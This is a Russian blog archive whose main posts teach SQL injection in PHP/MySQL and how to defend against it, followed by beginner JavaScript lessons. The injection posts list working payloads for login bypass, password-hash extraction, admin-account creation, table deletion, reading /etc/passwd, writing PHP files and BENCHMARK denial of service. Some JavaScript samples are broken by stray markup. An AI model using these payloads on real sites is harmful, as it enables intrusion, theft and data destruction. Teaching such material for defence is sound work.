понедельник, 23 июня 2008 г.

SQL инъекции

Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.


SQL инъекция (SQL injection) - уязвимость которая возникает
при недостаточной проверке и обработке данных
, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний.

Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д.

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии междуPHP и базой данных MySQL.

Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`;
USE `news`;
#
# таблица новостей
#
CREATE TABLE `news` (
`id` int(11) NOT NULL auto_increment,
`title` varchar(50) default NULL,
`date` datetime default NULL,
`text` text,
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
#добавляем некоторые данные
#
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1,'first news','2005-06-25
16:50:20','news text');
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2,'second news','2005-06-24
12:12:33','test news');
#
# таблица пользователей
#
CREATE TABLE `users` (
`id` int(11) NOT NULL auto_increment,
`login` varchar(50) default NULL,
`password` varchar(50) default NULL,
`admin` int(1) NULL DEFAULT '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
# добавляем несколько пользователей, одного с правами админа, другого простого
#
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (1,'admin','qwerty',1);
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2,'user','1111',0);


А теперь образец PHP кода:


$link=mysql_connect("localhost","user","password");
mysql_select_db("sqltest",$link);
if (!empty(
$_GET["id"])) {
$query="SELECT * FROM `news` WHERE `id`=".$_GET["id"];
$res=mysql_query($query,$link) or die(mysql_error($link));
}
?>

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет.

http://test.ru/index.php?id=1

как результат "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1"

или

http://test.ru/index.php?id=1qwerty

результат "Unknown column '1qwerty' in 'where clause'"

запрос

http://test.ru/index.php?id=2-1

при наличии уязвимости должен выдать результат, аналогичный

http://test.ru/index.php?id=1

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE.

Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

http://test.ru/index.php?id=-1+UNION+SELECT+null,null,null,null

количество "null" должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

Например,

http://test.ru/index.php?id=-1+UNION+SELECT+null,

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

версия MySql
http://test.ru/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null

http://test.ru/index.php?id=-1+UNION+SELECT+null,USER(),null,null

http://test.ru/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

логин текущего пользователя базы данных
http://test.ru/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

имя используемой базы данных
http://test.ru/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Получение данных из других таблиц:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1
Вот таким нехитрым способом узнают пароль или хэш пароля админа.

Если же текущий пользователь имеет права доступа к базе "mysql", без малейших проблем злоумышленник получит хэш пароля админа.

http://test.ru/index.php?id=-1+union+select+null, mysql.user.password,null,null+from+mysql.user

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:
SELECT * FROM `news` WHERE `title` LIKE '%$search%' OR `text` LIKE '%$search%'
$search - слово, которое передается с формы.

Злоумышленник может передать в переменной $search = '# теперь запрос будет выглядеть следующим образом:
SELECT * FROM `news` WHERE `title` LIKE '%'#%' OR `text` LIKE '%'#%'
Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

http://test.ru/index.php?sort=name

параметр ORDER формируется в зависимости от переменной $sort

$search =' /*
$sort = */

Будет сформирован следующий запрос:
SELECT * FROM `news` WHERE `title` LIKE '%'/*%' OR `text` LIKE '%'/*%' ORDER BY */тем самым закомментируется одно из условий и параметр ORDER
Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT....

Как вариант использования уязвимости этого параметра:
SELECT * FROM `users` ORDER BY LENGTH(password);Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в "чистом" виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:
SELECT * FROM `users` WHERE `login`='$login' AND `password`='$password';
где $login и $password это переменные, которые передаются с формы.

Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат.

Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается ' OR '1'='1
Или какое-нибудь истинное условие
(1, 'a'='a', 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)

Соответственно запрос будет сформирован следующим образом:
SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR '1'='1';что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в базе данных хэшированные? Тогда проверку пароля просто "отключают", закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и '# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`='admin'#' AND `password`='12345'

как вариант 'OR `id`=2#

SELECT * FROM `users` WHERE `login`='' OR `id`=2#' AND `password`='12345'
Таким образом можно пройти авторизацию без знания реального логина. Случай с
SELECT * FROM `users` WHERE `login`='' OR `admin`=1#' AND `password`='12345'позволяет пройти авторизацию с правами админа.

Большой ошибкой является проверка пароля следующим образом:
SELECT * FROM `users` WHERE `login`='$login' AND `password` LIKE
'$password'
поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE.

Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ('юзер',
'пароль',0);
Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными.

В поле login добавляем юзер', 'пароль', 1)#тем самым добавив пользователя с правами админа.
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ('юзер', 'пароль', 1)# ,'пароль',0);Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько.

Пример уязвимости в поле login:
$login= юзер', 'пароль'),(1,'хакер', 'пароль')#
INSERT INTO `users` (`admin`,`login`, `password`) VALUES (0,'юзер',
'пароль'),(1,'хакер', 'пароль')#','пароль');


Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:
$login=', `password`='', `admin`='1
Тогда подобный запрос
UPDATE `users` SET `login`='чайник' WHERE `id`=2;
Модифицируется следующим образом:
UPDATE `users` SET `login`='', `password`='', `admin`='1' WHERE `id`=2;
Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа.

Или в случае

$login = ', `password`='' WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.
$id=1 OR 1=1
И запрос
DELETE FROM `news` WHERE `id`=1 OR 1=1;почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`=1 OR 1=1# LIMIT 1;

Работа с файлами через SQL-инъекции.

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:
SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE('/etc/passwd'),null,null;
SELECT * FROM `news` WHERE `id`=-1 union select
null,LOAD_FILE('/home/test/www/dbconf.php'),null,null;


Но на этом все беды еще не заканчиваются.
SELECT * FROM `news` WHERE `id`=-1 union select null,'',null,null FROM `news` into outfile
'/home/test/www/test.php';

Вот так записываем файл, который содержит php код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность php кода.

Однако есть несколько условий, благодаря которым эти способы сработают:


  • Включена привилегия FILE для текущего пользователя базы данных;

  • Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер

  • абсолютный путь к файлу;
    менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета
    может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

    Magic quotes

    Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все ' та " Которые приходят с $_GET та $_POST.

    Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать '. В этом случае помогает функция сhar.
    SELECT * FROM `news` WHERE `id`=-1 UNION SELECT
    null,char(116,101,115,116),null,null;


    DOS через SQL-инъекцию.

    Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях :) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. "Не получится взломать, так хоть
    завалю" подумает хацкер, набирая функцию BENCHMARK для примера запрос
    SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));
    выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука.

    Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но...BENCHMARK позволяет вкладывать себя один в один.

    Вот так:
    SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));
    Или даже вот так
    SELECT * FROM `news` WHERE
    `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

    Да и количество нулей ограничено разве что "добротой" того, кто их набирает.

    Я думаюч то даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

    Итог

    На этом все. В этой стстье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко
    не полный перечень.
    Поэтому важно запомнить несколько правил:

    Не доверяйте НИКАКИМ данным, которые приходят от пользователя.

    Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP-заголовков. Следует помнить про те, что их легко подменить.

    Не стоит надеяться на опцию PHP "magic quotes"

    Которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями
    базы данных. ( $id=(int)$_GET['id'] ) или защищены функциями mysql_escape_string или mysql_real_escape_string.

    mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.

    Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания "удобных" УРЛ-ов, но уж никак не способ защиты от SQL-инъекций.

    Отключите вывод информации об ошибках.

    Не помагайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.

    Обрабатывайте ошибки.

    Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.

    Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.

    Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc

    Не создавайте "супер-пользователя" базы данных.

    Предоставляйте только права, необходимые для выполнения конкретных задач.

    В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.

    Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том "Войны и мира".

    Всегда проверяйте количество возвращенных записей после запроса

    Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когдаделается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в браузер чистую страницу.

    Безопасного вам SQL-я ;)

    Все описанное в статье было выполнено в качестве эксперимента на тестовой базе, владельцем которой является автор статьи. Никакие данные других людей не были уничтожены или изменены.

    Автор статьи не несет никакой ответственности за использование способов, описанных в данной статье, поскольку предполагалось, что она была написана с целью информирования о уязвимостях программ, написанных с использованием баз данных MySql.

  • Безопасность MySQL & PHP

    Эту статью мне очень хотелось бы адресовать в основном начинающим программистам, т.к. большинство из них еще не сталкивались со взломом их сайтов, построенных на основе MySQL. И поэтому не представляют, какую опасность хранит в себе неправильное использование необработанных MySQL запросов.

    Начнем с теории, и выясним, что такое взлом сайта. В моем понимании взлом это получение полного, или частичного доступа к управлению сайта. Допустим, вы являетесь администратором корпоративного сайта, и у вас стоит какой-либо популярный бесплатный движок, работающий на MySQL. В принципе ничего предосудительного в этом нет, но если задуматься, что любой человек может знать точную структуру таблиц, sql запросов и прочей ценной информации, то без можно представить такую картину: Ваши конкуренты или просто недовольный клиент решил вам отомстить, разрушив ваш сайт или нарушив его работу, просто ищут “слабые места” в php скриптах и sql запросах и делают свое дело.

    Под слабыми местами я понимаю sql запросы выполненные без какой-либо проверки на верность введенных данных. В качестве примера можно привести примерно следующий кусочек скрипта:

    $next = argv[0]; // видите, никакой проверки ввода!

    $query = 'SELECT * FROM `table_name` LIMIT 0, $next;";

    $result = mysql_query($query);

    Как видно из примера, в этот скрипт без особых проблем может быть вставлена SQL инъекция, обычная urlencode()'ированная строка, в начале которой стоит знак прерывания текущего запроса и начала нового “0;”.

    К примеру, если скрипт запущен от имени root, то это можно сказать погибель для всего вашего сайта, т.к. без проблем можно сменить пароль на коннект к серверу MySQL и ваш сайт станет недоступным, в том числе и вам:

    0;

    UPDATE user SET Password=PASSWORD('New_password') WHERE user='root';

    FLUSH PRIVILEGES;

    Если же скрипт имеет только права на удаление или запись в базу, то можно сделать примерно следующее:

    0;

    DROP TABLE `table_name`

    или

    0;
    DELETE FROM `registred_user`

    Как вы видите, sql инъекция очень страшная вещь, если ей умело пользоваться. Что же делать!, возразите вы мне, а ответ очень прост:

    Во-первых: создать несколько пользователей с разными правами, например: один, для записи в базу данных, другой, для чтения из базы, третий для создания новых таблиц и удаления, четвертый для создания новых пользователей, и самое главное, никогда и нигде не открывать соединение с базой от имени пользователя root!!!

    Во-вторых: обязательно нужно проверять вводимые данные на корректность ввода. К примеру, проверять тип вводимых переменных с помощью функции is_numeric или is_string или им подобными функциями. Ну, или самостоятельно изменять тип переменных на нужный с помощью функции settype, например settype($next, "integer"); и теперь в $next содержится переменная типа integer.

    В-третьих: Весь передаваемый в запрос текст нужно закавычивать с помощью addslashes и addcslashes, что бы избежать присоединения к тексту sql инъекции.

    В-четвертых: Не выводите никаких ошибок о работе скрипта, во всяком случае, уже полностью рабочего и отлаженного, вставив функцию error_reporting(0); в начало скрипта.

    В-пятых: Можно просто обрезать передаваемые значения до нужной длинны, и при этом проверять тип вводимых данных. Или можно создать собственную процедуру для проверки всех значений переменных используемых для обращения к базе данных, на содержание опасных данных в них.

    Как вы могли видеть из выше написанного, что если хакер нашел уязвимость в безопасности скрипта, то ему будет очень просто атаковать ваш сайт или форум. Поэтому в Интернете постоянно появляются вирусы атакующие сайты или форумы работающие на движках в которых нашли уязвимости. И поэтому я являюсь сторонником самодельных скриптов и движков, т.к. хакер может найти уязвимости в таких скриптах, только методом научного тыка, потому что у него нет исходного текста php скрипта. И посему мой вам совет, не ленитесь, пишите скрипты сами, или хотя бы частично изменяйте или проверяйте уже готовые скрипты сторонних производителей. Т.к. зачастую сами производители умышленно делают в скриптах уязвимости (особенно это касается выполнения сайтов “на заказ” или “под ключ”).

    суббота, 21 июня 2008 г.

    Операции сравнения:

    Операции сравнения:

    == Равенство (равно)
    != Не равно
    ! Логическое отрицание
    >= Больше или равно
    <= Меньше или равно
    > Больше
    < Меньше (по возможности желательно воздержаться от применения этого типа)


    От выражений, имеющих знак "<" следует отказываться по возможности, так, как данный символ может иметь и другое значение в HTML-документах. Во избежание подобных казусов, когда подобное выражение может послужить случайным открытием тега HTML:

    if mvar h . . . . . .bgcolor- может интерпретироваться как начало заголовка HTML. Теги HTML в JS программах недопустимы.

    Операции присваивания

    Операции присваивания

    В языке JS имеется несколько вариантов присваивания:

    = Прямое присваивание значения левому операнду
    += Складывает значения левого и правого операндов и присваивает результат левому операнду
    + Складывает значения левого и правого операндов и присваивает результат левому операнду
    ++ Увеличивает значение левого операнда (правый может отсутствовать)
    -= Вычитает значения левого и правого операндов и присваивает результат левому операнду
    - Вычитает значения левого и правого операндов и присваивает результат левому операнду
    -- Уменьшает значение левого операнда (правый может отсутствовать)
    * Умножает значения левого и правого операндов и присваивает результат левому операнду
    *= Умножает значения левого и правого операндов и присваивает результат левому операнду
    / Делит значения левого на правого операндов и присваивает результат левому операнду
    /= Делит значения левого на правого операндов и присваивает результат левому операнду


    Так, например, можно записать:
    nval *=10;
    т.е. переменна nval увеличивает значение в 10 раз.
    вместо:
    nval = nval * 10;

    Условные выражения.

    Условные выражения.

    Условные выражения используются для сравнения одних переменных с другими, а также с константами или значениями, возвращаемыми различными выражениями. В языке JS есть оператор сравнения ?, имеющий синтаксис:

    (условное выражение) ? операторы_1 : операторы_2

    Если условное выражение истинно - выполнются операторы_1, в противном случае операторы_2. Можно также присваивать значения переменным. Например, оператор:

    type_time = (hour >= 12) ? "PM" : "AM" присваивает строковое значение "PM" переменной type_time, если значение переменной hour больше или равно 12; в противном случае присваивается "AM". Оператор ? в действительности является сокращенным вариантом оператора if . . . else. Предыдущий пример может быть записан так:

    if (hour >= 12)
    type_time="PM";
    else
    type_time="AM";

    Урок 1

    Урок 1 - Введение в синтаксис






    • как вставить скрипт в документ HTML (общие сведения);
    • комментарии в JavaScript;
    • как объявлять переменные и давать им правильные имена;
    • разбор скрипта и синтаксис методов;
    • метод alert();
    • полезная мелочь: «заглушка» на временно не работающую ссылку



    В создании web-страниц есть много разных тонкостей. Но есть и три кита. Это HTML, CSS и JavaScript.


    Рекомендую организовать самообразование следующим образом: как только освоите синтаксис HTML и научитесь делать примитивные странички с текстом, картинками и таблицами, сразу подключайтесь к изучению CSS. Как только поймёте, как работать с CSS, начинайте осваивать JavaScript, параллельно пополняя «словарный запас» во всех трёх языках. Думаю, что через полгода сможете построить весьма красивый и функциональный сайт.


    Долго я не знал, как подступиться к JavaScript. Попадались учебники либо слишком абстрактные — теория, теория, и непонятно, как приложить её к практике, либо, наоборот, слишком конкретные: вот тебе набор готовых рецептов, бери и пользуйся, а как это всё крутится — не твоего умишки дело.


    Попался мне как-то учебник Вадима Дунаева. Многие, я знаю, ругают этот учебник. Кроме того, я скачл мерзко отсканированный PDF, где вместо "()" могло оказаться, например, "Q", а латинские буквы в кодах заменены (местами!) аналогичными русскими, из-за чего эти коды не работают. В общем, пришлось попыхтеть. И, честно скажу, если бы я до этого ничего не читал про JavaScript, то в этих ошибках бы не разобрался и присоединился бы к числу ругателей. Но я тогда сидел без работы, было время вникнуть, и учебник мне понравился. Но он очень подробный и рассчитан на людей, которые уже с программированием соприкасались.



    Так вот, я хочу попробовать убить двух зайцев. Написать нечто понятное для любого чайника и в то же время конструктивно-познавательное. Чтобы этот чайник на основе моих советов мог написать пусть простой, но полностью оригинальный скрипт.


    Итак:

    Вставка в документ HTML



    Вы наверняка видели в HTML-кодах такие тэги:





    <script>

    <!-- здесь какая-то непонятная абракадабра
    -->


    </script>




    Вот эта абракадабра между тэгами и есть скрипт.


    Сам тэг <script> относится к языку HTML, и у него могут быть следующие атрибуты:



    • language
    • type
    • src




    <script language="javascript">

    <!-- код скрипта -->

    </script>


    Этот атрибут необязателен. Его стоит использовать либо для уточнения версии языка (javascript1.1, javascript1.2 и т.п.), либо если используешь другой язык (например, <script language=VBscript">). То есть вреда этот атрибут в любом случае не принесёт, но в стандартной ситуации он вроде как лишний.



    <script type="text/javascript">

    <!-- код скрипта -->


    </script>



    Атрибут type, который указывает на тип текста: text/javascript. Он появился в версии HTML 4.0. Его-то я и рекомендую использовать.


    Прежде чем перейти к атрибуту src, выясним, в какие разделы кода HTML можно вставлять скрипты.


    В любые. Но с умом.


    Часто в скрипте указывается вывод конкретного текста, что называется, здесь и сейчас. Такой скрипт вставляется прямо в <body>, «на место происшествия».


    Бывают скрипты с объявлениями переменных, которые могут быть использованы в других скриптах на странице, с функциями, которые можно вызвать из любого места кода HTML. Такие скрипты разумнее всего помещать между тэгами <head> и </head>.


    Но можно сделать и так, чтобы использовать скрипт сразу на нескольких web-страницах. Для этого его код нужно записать в отдельный файл с расширением .js (например, myscript_1.js). Тэги <script> и </script> писать в нём уже не надо.


    И вот тогда-то, для вызова скрипта с web-страницы, нам и понадобится атрибут src. Работает он так же, как и аналогичный атрибут тэга <img>:




    <script type="text/javascript"
    src="scripts/myscript_1.js"></script>




    Вот таким образом и помещается на разные страницы одна и та же шапка или меню, записанные в файле скрипта. Особенно это выручает на тех хостингах, где SSI не проходит.



    Можно также вставлять маленькие скрипты в некоторые атрибуты тэгов HTML, но об этом — чуть позже.



    Комментарии



    Говорят, остались ещё такие браузеры, которые не понимают скриптов. Встречаются и маньяки-пользователи, которые настолько задвинуты на безопасности, что отключают скрипты. В этой ситуации скрипт выполняться не будет, но код его, та самая «абракадабра», просто вывалится на экран.


    Так вот, чтобы не вываливалась, мы заключаем её в HTML-комментарии.




    <script type="text/javascript">

    <!--

    Код скрипта


    // -->

    </script>




    Ммм... а что это за два слэша перед закрытием комментария?


    Закрывающий комментарий находится уже в «теле» скрипта. А JavaScript не понимает этих корявых HTML'ских скобок, для него это инородное тело, генерирующее ошибку. Значит, нужно скрыть этот закрывающий тэг от скрипта, поместив его как комментарий JavaScript. У JavaScript комментарии выглядят несколько изящнее: //. После этого знака скрипт не видит закрывающую скобку HTML, а HTML благополучно скрывает текст скрипта, и на экране не видно никаких «левых» записей.


    Раз уж мы коснулись комментариев, то надо сказать, что в JavaScript они имеют две формы — такие же, как в C и C++ (а кстати и в CSS тоже).




    // Эта форма комментария


    // действует только на одну строку,

    // то есть на каждой новой строке

    // нужно выставлять знак комментария.


    А это уже код скрипта...


    /* А эта форма комментария

    действует на сколько угодно строк

    до тех пор, пока не натолкнётся

    на закрывающий значок,


    зеркально отражающий начальный. */


    А теперь опять код скрипта...




    Не путайте комментарии HTML и комментарии JavaScript! Это разные языки, хотя и сосуществуют «в одном флаконе». Или, точнее, в одной банке. Как пауки...


    Вернёмся к проблеме ветхих браузеров. Допустим, с помощью JavaScript Вы сделали из двух картинок что-то вроде анимированного баннера. Тогда Вы можете порадовать пользователей «убогих» браузеров (а Вы, я надеюсь, не полностью лишены альтруизма) лицезрением хотя бы одной из этих картинок с помощью тэга <noscript>:





    <script type="text/javascript">

    <!--

    Код Вашего баннера

    // -->

    </script>

    <noscript>

    <img src=class="format">"одна_из_картинок.gif"class="style">>

    </noscript>





    В каких редакторах писать скрипты



    Возможно, существуют какие-то специальные редакторы для JavaScript. Я таких не встречал да и не слишком искал. Обычно скрипты пишут в тех же редакторах, какие используют для создания web-страниц. Я, например, люблю HomeSite. Написание скрипта в этих редакторах ничем не отличается от написания его в простом блокноте, кроме подсветки кода. А она иногда очень помогает. Скачал я однажды скрипт (у какого-то немца), а он не работает. Присмотрелся к коду и увидел, что ключевое слово switch почему-то не выделено. Гляжу — а там не switch, а switsch, Donner, Wetter! Убрал буковку — и поехало.


    Кстати, во всех наших примерах код выглядит именно так, как в окне HomeSite.



    С места в карьер



    Следующий пример — плагиат у Дунаева. Но он настолько прост и глубок, что не могу удержаться. Я добавил сюда только некоторые детали оформления записи, чтобы объяснить заодно и их.


    Сразу предупреждаю: практически этот пример абсолютно бесполезный. Но в нём сконцентрированы многие ключевые понятия языка javascript и его синтаксиса.



    <html>

    <head>


    <title>
    Пример 1class="block"></title>

    </head>

    <body>

    <script type="text/javascript">

    <!--

    var х class="format">= 5;


    var y class="format">= х + class="number">3;

    alert(yclass="format">);


    // -->

    </script>

    </body>

    </html>





    Собственно скрипт



    Если Вы скопируете этот код в чистую страницу Блокнота и сохраните её как файл.html, то при открытии файла увидите следующее:








    Разберём, как это выходит.




    var х = class="number">5;



    Здесь мы объявляем переменную x, которая равна 5.

    Стоп! А знаете ли Вы, что такое переменная?


    Если нет, то нажмите эту
    ссылочку и прочитайте пояснение.







    var — ключевое слово для объявления переменной (по-английски variable).


    x — имя переменной.




    Ограничения: В имени переменной можно использовать только латинские буквы (любого регистра), цифры и символ подчёркивания. При этом переменная не должна начинаться с цифр. И никаких пробелов.



    Правильные имена переменных:


    myVar

    my_var

    text01

    _text


    button12bis


    Неправильные имена переменных:


    my Var

    my-var

    01text

    текст01



    Язык JavaScript чувствителен к регистру.


    myvar, MyVar и myVar — разные переменные.


    (Кстати, насчёт регистра. Само название языка пишется с большими J и S: JavaScript. Существует заблуждение, что именно так и надо писать это слово в тэгах HTML. Но HTML к регистру не чувствителен, поэтому там можно писать, как заблагорассудится. Я привык маленькими, как и мой любимый HomeSite, кто-то — большими.)



    В этом скрипте переменной сразу при объявлении присваивается значение. Это не обязательно. Значение можно присвоить и позже. В конце строки стоит точка с запятой. Это в данном случае тоже не обязательно. Но в больших и сложных скриптах это иногда оказывается важным, поэтому я демонстрирую полную подробную запись. У Дунаева эта строка выглядит просто x = 5, явное объявление var здесь тоже не обязательно. Но (имхо) всё-таки желательно.


    В следующей строке, как Вы уже можете догадаться, объявлена переменная y. Ей присвоено значение относительно уже объявленной x, на 3 больше, чем x.


    А затем вызывается метод alert().


    Этот метод выводит на экран окно диалога с сообщением, указанным в скобках. Это синтаксис всех методов javascript: имя метода и скобки с его содержимым.


    Содержимое этого метода — значение переменной y, и в окне диалога мы увидим восьмёрку. Поняли, почему?



    Полезная мелочь



    Раз уж мы с Вами познакомились с методом alert(), то вот его простое и полезное применение: иногда какие-то страницы сайта ещё не сделаны, а ссылки уже приготовлены. Неприятно бывает попадать на «страницу 404». Не очень также приятно ждать, пока она загрузится, а потом узнать, что раздел в разработке. Я всегда затыкаю подобные ссылки следующим образом:




    <a href="javascript:
    alert('Страница в разработке');"
    >Пункт
    меню</a>



    Кстати, вот вам ещё один способ внедрения кода JavaScript в код HTML. Здесь он вставляется в атрибут href тэга ссылки и вводится через ключевое слово «javascript: » (с двоеточием и последующим пробелом: всегда обращайте внимание на синтаксические мелочи). Обратите также внимание на традиционные двойные кавычки значения атрибута HTML и «вложенные» одиночные кавычки в тексте самого скрипта.


    Очень скоро мы узнаем и о специальных «событийных» атрибутах тэгов HTML, например, onClick, которые специально предназначены для введения кода JavaScript и не требуют ключевого слова.


    Итак, мы узнали:


    как объявить скрипт в документе HTML, какие формы имеют комментарии JavaScript, как объявлять переменные и давать им правильные имена, а также синтаксис методов и конкретно метод alert().


    А также научились:


    ставить «заглушку» на ссылку в виде сообщения alert().